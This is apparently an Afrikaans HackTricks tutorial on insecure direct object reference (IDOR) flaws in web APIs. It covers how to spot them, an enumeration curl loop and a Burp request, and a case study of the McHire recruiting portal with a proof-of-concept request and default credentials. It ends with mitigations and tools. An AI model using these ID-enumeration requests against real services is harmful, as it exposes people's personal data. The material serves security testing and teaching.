85 lines
4.4 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# IDOR (Onveilige Direkte Objektverwysing)
{{#include ../banners/hacktricks-training.md}}
IDOR (Onveilige Direkte Objektverwysing) / Gebroke Objektvlak Owerheid (BOLA) verskyn wanneer 'n web- of API-eindpunt 'n gebruiker-beheerde identifiseerder openbaar of aanvaar wat **direk** gebruik word om toegang te verkry tot 'n interne objek **sonder om te verifieer dat die oproeper gemagtig is** om daardie objek te benader/wysig.
Suksesvolle uitbuiting laat normaalweg horisontale of vertikale voorregverhoging toe, soos om ander gebruikers se data te lees of te wysig en, in die ergste geval, volle rekeningoorname of massadata-uitvloeiing.
---
## 1. Identifisering van Potensiële IDORs
1. Soek na **parameters wat 'n objek verwys**:
* Pad: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
* Navraag: `?id=42`, `?invoice=2024-00001`
* Liggaam / JSON: `{"user_id": 321, "order_id": 987}`
* Koptekste / Koekies: `X-Client-ID: 4711`
2. Verkies eindpunte wat **data lees of opdateer** (`GET`, `PUT`, `PATCH`, `DELETE`).
3. Let op wanneer identifiseerders **sekwensieel of voorspelbaar** is as jou ID `64185742` is, bestaan `64185741` waarskynlik.
4. Verken verborge of alternatiewe vloei (bv. *"Paradox spanlede"* skakel in aanmeldbladsye) wat ekstra API's mag blootstel.
5. Gebruik 'n **geverifieerde lae-voorreg sessie** en verander slegs die ID **terwyl jy dieselfde token/koekie hou**. Die afwesigheid van 'n owerheidsfout is gewoonlik 'n teken van IDOR.
### Vinige handmatige tampering (Burp Repeater)
```
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json
{"lead_id":64185741}
```
### Geoutomatiseerde enumerasie (Burp Intruder / curl lus)
```bash
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
```
---
## 2. Werklike Gevalstudie McHire Chatbot Platform (2025)
Tydens 'n assessering van die Paradox.ai-gedrewe **McHire** werwingsportaal is die volgende IDOR ontdek:
* Eindpunt: `PUT /api/lead/cem-xhr`
* Owerheid: gebruikersessie koekie vir **enige** restaurant toetsrekening
* Liggaam parameter: `{"lead_id": N}` 8-syfer, **volgorde** numeriese identifiseerder
Deur `lead_id` te verlaag, het die toetsers willekeurige aansoekers se **volledige PII** (naam, e-pos, telefoon, adres, skofvoorkeure) plus 'n verbruiker **JWT** wat sessie-hijacking toegelaat het, verkry. Opname van die reeks `1 64,185,742` het ongeveer **64 miljoen** rekords blootgestel.
Bewys-van-konsep versoek:
```bash
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
```
Gekombineer met **default admin credentials** (`123456:123456`) wat toegang tot die toetsrekening verleen het, het die kwesbaarheid gelei tot 'n kritieke, maatskappy-wye datalek.
---
## 3. Impak van IDOR / BOLA
* Horisontale eskalasie lees/werk by/verwyder **ander gebruikers'** data.
* Vertikale eskalasie lae-bevoegde gebruiker verkry admin-slegs funksionaliteit.
* Massadatalek as identifiseerders opeenvolgend is (bv. aansoeker-ID's, fakture).
* Rekening oorname deur tokens te steel of wagwoorde van ander gebruikers te reset.
---
## 4. Versagtings & Beste Praktyke
1. **Handhaaf objekvlak outorisasie** op elke versoek (`user_id == session.user`).
2. Verkies **indirekte, onraai-bare identifiseerders** (UUIDv4, ULID) in plaas van outo-toegevoegde ID's.
3. Voer outorisasie **bediener-kant** uit, moenie op versteekte vormvelde of UI-beheer staatmaak nie.
4. Implementeer **RBAC / ABAC** kontroles in 'n sentrale middleware.
5. Voeg **spoedbeperking & logging** by om opsporing van ID's te detecteer.
6. Sekuriteitstoets elke nuwe eindpunt (eenheid, integrasie, en DAST).
---
## 5. Gereedskap
* **BurpSuite uitbreidings**: Authorize, Auto Repeater, Turbo Intruder.
* **OWASP ZAP**: Auth Matrix, Forced Browse.
* **Github projekte**: `bwapp-idor-scanner`, `Blindy` (grootmaat IDOR jag).
## Verwysings
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants PII](https://ian.sh/mcdonalds)
* [OWASP Top 10 Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
* [How to Find More IDORs Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
{{#include ../banners/hacktricks-training.md}}